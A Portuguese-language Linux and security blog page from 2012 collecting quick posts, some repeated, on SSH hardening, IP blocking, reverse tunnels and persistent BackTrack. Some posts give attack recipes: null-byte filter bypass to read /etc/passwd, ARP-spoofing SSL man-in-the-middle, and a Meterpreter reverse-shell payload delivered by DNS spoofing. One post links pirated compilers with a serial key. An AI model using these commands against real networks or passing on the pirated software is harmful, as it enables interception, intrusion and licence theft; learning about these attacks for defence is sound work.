Imagem do dia:
Bom Proveito.
Visite também:
BR-Linux ·
VivaOLinux ·
LinuxSecurity ·
Dicas-L ·
NoticiasLinux ·
SoftwareLivre.org ·
[mais]
segunda-feira, 23 de abril de 2012
Loop em comando
Quero compartilhar neste quick post algo bem simples porém muito útil. Este script faz com que o PID de um comando seja verificado e caso não exista este PID ele executará o comando novamente.
A ideia aqui é fazer com que um comando seja executado toda vez que o seu processo termine por algum motivo. Segue abaixo como ficaria nosso script:
#!/bin/bash
while [ 1 ]; do
SAIDA=`pidof comando`
if [ -z $SAIDA ];
then
execcuta-comando -opção &
fi
sleep 10
done
Bom Proveito.
A ideia aqui é fazer com que um comando seja executado toda vez que o seu processo termine por algum motivo. Segue abaixo como ficaria nosso script:
#!/bin/bash
while [ 1 ]; do
SAIDA=`pidof comando`
if [ -z $SAIDA ];
then
execcuta-comando -opção &
fi
sleep 10
done
Bom Proveito.
Seu anexo contém Vírus?
Esta dica vale para fazer uma checagem se o anexo enviado pelo e-mail possui vírus ou não.
Basta remover o que estiver escrito no corpo do e-mail, mudar o assunto para SCAN e enviar o e-mail para scan@virustotal.com
O limte de download é de 10Mb.
Este e-mail vai ser verificado contra a base do VirusTotal que por sua vez pesquisa assinaturas me diversas engines diferentes (ex: AVG, Nod32, McAfee e F-Prot).
Fonte: securitymind.blogspot.com.br
Basta remover o que estiver escrito no corpo do e-mail, mudar o assunto para SCAN e enviar o e-mail para scan@virustotal.com
O limte de download é de 10Mb.
Este e-mail vai ser verificado contra a base do VirusTotal que por sua vez pesquisa assinaturas me diversas engines diferentes (ex: AVG, Nod32, McAfee e F-Prot).
Fonte: securitymind.blogspot.com.br
sexta-feira, 20 de abril de 2012
Entendendo o byte NULL para burlar filtros WEB
O dia de trabalho esta quase acabando e gostaria de escrever algo que fosse interessante e rápido. Estava revendo alguns papers que tenho e me deparei com um artigo que falava sobre o ataque chamado de Null-byte. Não vou aprofundar neste assunto apenas uma explicação clara e direta.
Segunda maneira de testar:
$perl -e '$s = "/etc/passwd\x00.html"; print $s; open(FH,"<$s"); while() { print }'
Com o comando acima podemos ler o arquivo (/etc/passwd) mesmo que no comando o nome de arquivo seja /etc/passwd\x00.html, que é um aquivo que não existe no sistema, mas neste caso veja que usamos o byte Null.
Bom Proveito.
Em muitos ataques em que a URL é manipulada de forma a extrair informações de um servidor vemos o uso do Null-byte (um Zero que pode ser codificado como "% 00") no final da URL. Esta técnica é usada para burlar possíveis filtros de conteúdo web.
A maioria das linguagens de programação usa o NULL para representar nada ou um valor vazio, veja abaixo como a linguagem Perl não retorna nada utilizando o byte Null:
$perl -e 'print "\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70"'
osvaldohp
Veja que o valor em hexa (\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70) tem como valor a palavra osvaldohp, vamos adicionar o byte NULL em hexa (\x00) para ver se ocorre algum erro:
$perl -e 'print "\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70\x00"'
osvaldohp
Pronto, o resultado é o mesmo. Vimos que a linguagem Perl aceita o uso de byte Null.
Um desenvolvedor WEB poderá criar um filtro bloqueando a execução de qualquer arquivo que não termine com ".html". No comando abaixo estaremos simulando a seguinte URL http://site_vulneravel/page.cgi?s=/etc/passwd:
$perl -e '$s = "/etc/passwd"; if ($s =~ m/\.html$/) { print "Passa" } else { print "Negar" }'
Negar
Veja que a resposta foi Negar, isso ocorre porque o arquivo requisitado (/etc/passwd) não termina com .html como diz nosso filtro ($s =~ m/\.html$/). Vamos tentar enganar o filtro:
$perl -e '$s = "/etc/passwd\x00.html"; if ($s =~ m/\.html$/) { print "Passa" } else { print "Negar" }'
Passa
Pronto, enganamos o filtro e obtivemos o Passa.
Pronto, enganamos o filtro e obtivemos o Passa.
Segunda maneira de testar:
$perl -e '$s = "/etc/passwd\x00.html"; print $s; open(FH,"<$s"); while(
Com o comando acima podemos ler o arquivo (/etc/passwd) mesmo que no comando o nome de arquivo seja /etc/passwd\x00.html, que é um aquivo que não existe no sistema, mas neste caso veja que usamos o byte Null.
Bom Proveito.
DNS - split-split
Imagem do dia:
Neste cenário de DNS é possível impedir que atacantes externos da rede (Internet) envenenem o cache do DNS usado pelos recursos internos.
O DNS interno apenas faz resoluções recursivas para a LAN enquanto que o externo serve informação de domínio público e não responde à consultas recursivas.
Bom Proveito.
quinta-feira, 19 de abril de 2012
Usando o comando ROUTE para bloquear um IP
Já pensou em usar o comando route no linux para bloquear um IP? Nem sabia que isso era possível? Neste quick post vou mostrar como você pode fazer isso, dica da galera do Network NUTS.
Na imagem abaixo uso o IP do google para o nosso teste.
Agora vamos usar o comando ping para ver o que acontece:
Como podemos ver não conseguimos alcançar o IP 74.125.234.244.
Para tirar a regra basta digitar:
#route del -host 74.125.234.244 reject
Com isso conseguimos bloquear um endereço de destino, e se você quiser bloquear um endereço de origem? Simples.
#route add IP_ORIGEM gw 127.0.0.1 lo
Bom Proveito.
Na imagem abaixo uso o IP do google para o nosso teste.
Agora vamos usar o comando ping para ver o que acontece:
Como podemos ver não conseguimos alcançar o IP 74.125.234.244.
Para tirar a regra basta digitar:
#route del -host 74.125.234.244 reject
Com isso conseguimos bloquear um endereço de destino, e se você quiser bloquear um endereço de origem? Simples.
#route add IP_ORIGEM gw 127.0.0.1 lo
Bom Proveito.
quarta-feira, 18 de abril de 2012
Boa Prática de Configuração para OpenSSH
Neste quick post vou mostrar algumas práticas (básicas) para um maior aproveitamento do OpenSSH tendo em mente a credibilidade e segurança do serviço.
edit sshd_config:
Protocol 2
PermitRootLogin no
Port 2222
ListenAddress 192.168.2.1
AllowUsers osvaldohp
PasswordAuthentication no <-- só aceitara autenticação com chave pública
Banner /etc/banner.txt <-- mensagem antes de autetnticar (para mensagem apos autenticação edite o arquivo /etc/motd)
StrictModes yes <-- checa permissão do home do usuário
TCPKeepAlive yes
ClientAliveCountMax 3
ClientAliveInterval 60
KeyRegenerationInterval 1800
MaxStartups 20:50:80 <-- ajuda contra DoS (start:rate:full)
SyslogFacility LOCAL0
LogLevel VERBOSE
obs: edit /etc/syslog.conf:
local0.* /var/log/sshd.log
obs: teste se o log funciona
#logger –p local0.info testmessagetolocal0
Usando o TCP Wrappers:
edit hosts.deny
sshd : ALL
edit hosts.allow
sshd : 192.168.0.
obs: logando acessos via ssh com o TCP Wrappers
sshd : 192.168.0. : spawn logger –p local0.info Mensagem
Usando Chave Publica para Autenticar
1. Criando a chave
#ssh-keygen –t dsa
(entre com a senha)
Sera gerado dois arquivos id_dsa e id_dsa.pub.
2. Copiando a chave
Copie a chave pública .pub para o servidor SSHD. O parametro AuthorizedKeysFile do arquivo /etc/ssh/sshd_confg especifica o local onde deverá ser copiado a chave, que por padrão é .ssh/authorized_keys. Depois de copiar a chave para o servidor execute no servidor:
#cat id_dsa.pub >> authorized_keys
obs: este comando tem que ser executado dentro do diretório ~/.ssh
3. reinicie o serviço
4. Testanto
ssh -i id_dsa osvaldohp@IP_SSHD -p 2222
Bom Proveito.
Dica SSHD
Uma dica bem legal para quem administra servidores com o SSHD instalado.
Se você precisa executar um script ou uma lista de comandos logo depois que um usuário se autentica você pode criar o arquivo ~/.ssh/rc e adicionar nele os comandos necessários.
O arquivo /etc/sshic faz a mesma coisa que o ~/.ssh/rc porém os comandos serão executados antes da criação da shell.
Em caso de servidores com um link baixo use a opção -C para que todo o tráfego seja compressado.
Bom Proveito.
Se você precisa executar um script ou uma lista de comandos logo depois que um usuário se autentica você pode criar o arquivo ~/.ssh/rc e adicionar nele os comandos necessários.
O arquivo /etc/sshic faz a mesma coisa que o ~/.ssh/rc porém os comandos serão executados antes da criação da shell.
Em caso de servidores com um link baixo use a opção -C para que todo o tráfego seja compressado.
Bom Proveito.
SSL Man-In-The-Middle
Hoje é o dia dos Quick Posts. Neste post vou mostrar como se faz um ataque de MITM em conexões seguras (HTTPS).
echo "1" > /proc/sys/net/ipv4/ip_forward
aptitude install arpspoof
arpspoof -i interface -t target gw_IP
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 127.0.0.1:443
stunnel -p certificate.pem -d 443 -r 8080
stunnel -c -d 8080 -r originalhost:443
MITM+Conexão Reversa
Neste quick post vou mostrar como redirecionar o tráfego de uma máquina (alvo) usando a técnica de MITM para a minha máquina, onde esta rodando o metasploit (handler).
(1)
msfpayload windows/meterpreter/reverse_tcp LHOST=SeuIP LPORT=80 X > /NomeDoArquivo.exe
use multi/handler
(2)
set payload windows/meterpreter/reverse_tcp
set lhost SeuIP
set lport 80
exploit
(3)
echo 1 > /proc/sys/net/ipv4/ip_forward
ettercap -T -q -P dns_spoof -M ARP /IP_GW/ /IP_alvo/
Bom Proveito.
(1)
msfpayload windows/meterpreter/reverse_tcp LHOST=SeuIP LPORT=80 X > /NomeDoArquivo.exe
use multi/handler
(2)
set payload windows/meterpreter/reverse_tcp
set lhost SeuIP
set lport 80
exploit
(3)
echo 1 > /proc/sys/net/ipv4/ip_forward
ettercap -T -q -P dns_spoof -M ARP /IP_GW/ /IP_alvo/
Bom Proveito.
sexta-feira, 13 de abril de 2012
BackTrack Persistente
Sabe aquele pendrive com o BackTrack que você sempre usa para realizar seu Pentest? Você já imaginou como seria se toda modificação no BT que você fizesse pudesse ser definitiva? Pois é, isso é possível sim, com isso toda alteração realizada no BT será permanente e será realizada de forma transparente permitindo que você faça um backup diferencial somente das alterações realizadas.
Não vou mostrar como criar o pendrive com o BT, estou levando em consideração que você já tenha feito esse procedimento, para mais informações de como fazer isso acesse aqui.
BackTrack irá montar seu pendrive como /media/cdrom0. O BT usa o nome cdrom0 porque assume que você esta usando um LiveDVD e não um pendrive.
Vamos usar o comando mount para ver o dispositivo que foi associado ao /media/cdrom0:
Neste caso o nosso pendrive foi associado ao arquivo /dev/sdb1 que esta montado apenas como leitura (ro), precisamos remountar o nosso dispositivo para que ele aceite escrita:
#mount -o remount,rw /media/cdrom0
Vamos criar um arquivo especial dentro do diretório raiz do pendrive chamado de casper-rw onde toda alteração feita no BT será salva nele.
Vamos usar o arquivo dd para criar esse arquivo de 500MB:
#dd if=/dev/zero of=/media/cdrom0/casper-rw bs=1M count=500
Agora vamos criar o sistema de arquivos:
#mkfs.ext3 -F /media/cdrom0/casper-rw
Pronto, agora no menu do boot perceba uma nova opção chamada "Start Persistent Live CD". Toda vez que você quiser fazer alguma alteração permanente use esta opção.
Segue abaixo um script que peguei no fórum da http://www.backtrack-linux.org para agilizar este procedimento:
Bom Proveito.
Não vou mostrar como criar o pendrive com o BT, estou levando em consideração que você já tenha feito esse procedimento, para mais informações de como fazer isso acesse aqui.
BackTrack irá montar seu pendrive como /media/cdrom0. O BT usa o nome cdrom0 porque assume que você esta usando um LiveDVD e não um pendrive.
Vamos usar o comando mount para ver o dispositivo que foi associado ao /media/cdrom0:
Neste caso o nosso pendrive foi associado ao arquivo /dev/sdb1 que esta montado apenas como leitura (ro), precisamos remountar o nosso dispositivo para que ele aceite escrita:
#mount -o remount,rw /media/cdrom0
Vamos criar um arquivo especial dentro do diretório raiz do pendrive chamado de casper-rw onde toda alteração feita no BT será salva nele.
Vamos usar o arquivo dd para criar esse arquivo de 500MB:
#dd if=/dev/zero of=/media/cdrom0/casper-rw bs=1M count=500
Agora vamos criar o sistema de arquivos:
#mkfs.ext3 -F /media/cdrom0/casper-rw
Pronto, agora no menu do boot perceba uma nova opção chamada "Start Persistent Live CD". Toda vez que você quiser fazer alguma alteração permanente use esta opção.
Segue abaixo um script que peguei no fórum da http://www.backtrack-linux.org para agilizar este procedimento:
#!/bin/bash USB_PATH=none RW_SIZE=none clear echo "WARNING: Before running this script, confirm that the target USB" echo "drive has WRITE permission and it has been mounted. If you are" echo "unsure press Ctrl+C and check before running this script again." echo " " sleep 3 echo "Enter the path to your mounted USB disk: (e.g. /media/disk-0):" read USB_PATH echo " " echo "Enter the amount of space you want to allocate, in MB (e.g. 1024 = 1GB or 4096 = 4GB):" read RW_SIZE echo " " echo "Stop all operations on target disk," echo "sleeping for 5 seconds before processing..." sleep 5 echo " " echo "Task starting, this may take several minutes..." dd if=/dev/zero of=/$USB_PATH/casper-rw bs=1M count=$RW_SIZE mkfs.ext3 -F /$USB_PATH/casper-rw echo "Task completed successfully. Reboot PC in persistent mode! :)"
Bom Proveito.
Compilando seu Source
Neste post vou mostrar como criar um ambiente necessário para você compilar seu vírus, exploit, malware ou qualquer outro código no Windows.
Todo conteúdo foi tirado de um blog (não lembro qual).
1 - Baixe e Instale C++
http://rapidshare.com/files/21861555/msc__.rar.html
Pass: itzforblitz
Serial: 812-2224558
2 - Baixe e Instale Service Pack 6
http://www.microsoft.com/downloads/details.aspx?familyid=a8494edb-2e89-4676-a16a-5c5477cb9713&displaylang=en
3 - Baixe e Instale Windows SDK
http://rapidshare.com/files/21854411/sdk.rar.html
Pass: itzforblitz
4 - Configurando C++
Execute Microsoft Visual C++ Compilier 6.0
Vá em Tools > Options e clique em "Directories"
Vá até os diretórios abaixo e adicione-os na lista conforme ordenado
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE
C:\PROGRAM FILES\MICROSOFRT PLATFORM SDK\LIB
Pronto, agora você pode brincar.
Todo conteúdo foi tirado de um blog (não lembro qual).
1 - Baixe e Instale C++
http://rapidshare.com/files/21861555/msc__.rar.html
Pass: itzforblitz
Serial: 812-2224558
2 - Baixe e Instale Service Pack 6
http://www.microsoft.com/downloads/details.aspx?familyid=a8494edb-2e89-4676-a16a-5c5477cb9713&displaylang=en
3 - Baixe e Instale Windows SDK
http://rapidshare.com/files/21854411/sdk.rar.html
Pass: itzforblitz
4 - Configurando C++
Execute Microsoft Visual C++ Compilier 6.0
Vá em Tools > Options e clique em "Directories"
Vá até os diretórios abaixo e adicione-os na lista conforme ordenado
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE
C:\PROGRAM FILES\MICROSOFRT PLATFORM SDK\LIB
Pronto, agora você pode brincar.
quarta-feira, 11 de abril de 2012
SSH reverse tunnel
Cenário
Você precisa ajudar um amigo que possui um servidor protegido por um Firewall, O trafego de saida é liberado, mas o de entrada não é permitido, então o servidorSSH pode acessar qualquer máquina da Internet em qualquer porta, o inverso não é verdadeiro, desta forma mesmo que o servidorSSh esteja rodando o sshd na porta 22 ninguem da internet poderá acessar esse serviço se o mesmo não for liberado pelo firewall. Neste cenario estou levando em consideração que não temos acesso ao Firewall.
servidorSSH -------> firewall --------> internet ---------> Suporte
Para resolver este problema iremos realizar uma conexão reversa usando o comando ssh. Com isso o servidorSSH irá se conectar em uma máquina na Internet, que chamarei de Suporte, e a conexão estabelecida sera utilizada para realizar uma conexão reversa.
No servidorSSH execute o comando abaixo:
ssh -fgNTR 2222:localhost:22 root@suporte_IP
Este comando ira acessar a máquina Suporte via SSH e disponibilizara a sua própria porta 22 usando a porta 2222.
Agora na máquina Suporte é só executar:
ssh -p2222 user@localhost
Ao se conectar na porta 2222 estaremos usando a conexão estabelicida anteriormente para se conectar na porta 22 do servidorSSH.
Digamos que você queira acessar uma aplicação que se encontra em um outro servidor, que chamaremos de servidorHTTP, apenas execute o comando abaixo no servidorSSH:
ssh -L 8000:IP_servidorHTTP:80 root@localhost
No browser da máquina Suporte execute:
http://127.0.0.1:8000
Veja um terceiro cenário no link abaixo:
http://mywiki.wooledge.org/SshTunnel
Um abraço para todos.
Assinar:
Postagens (Atom)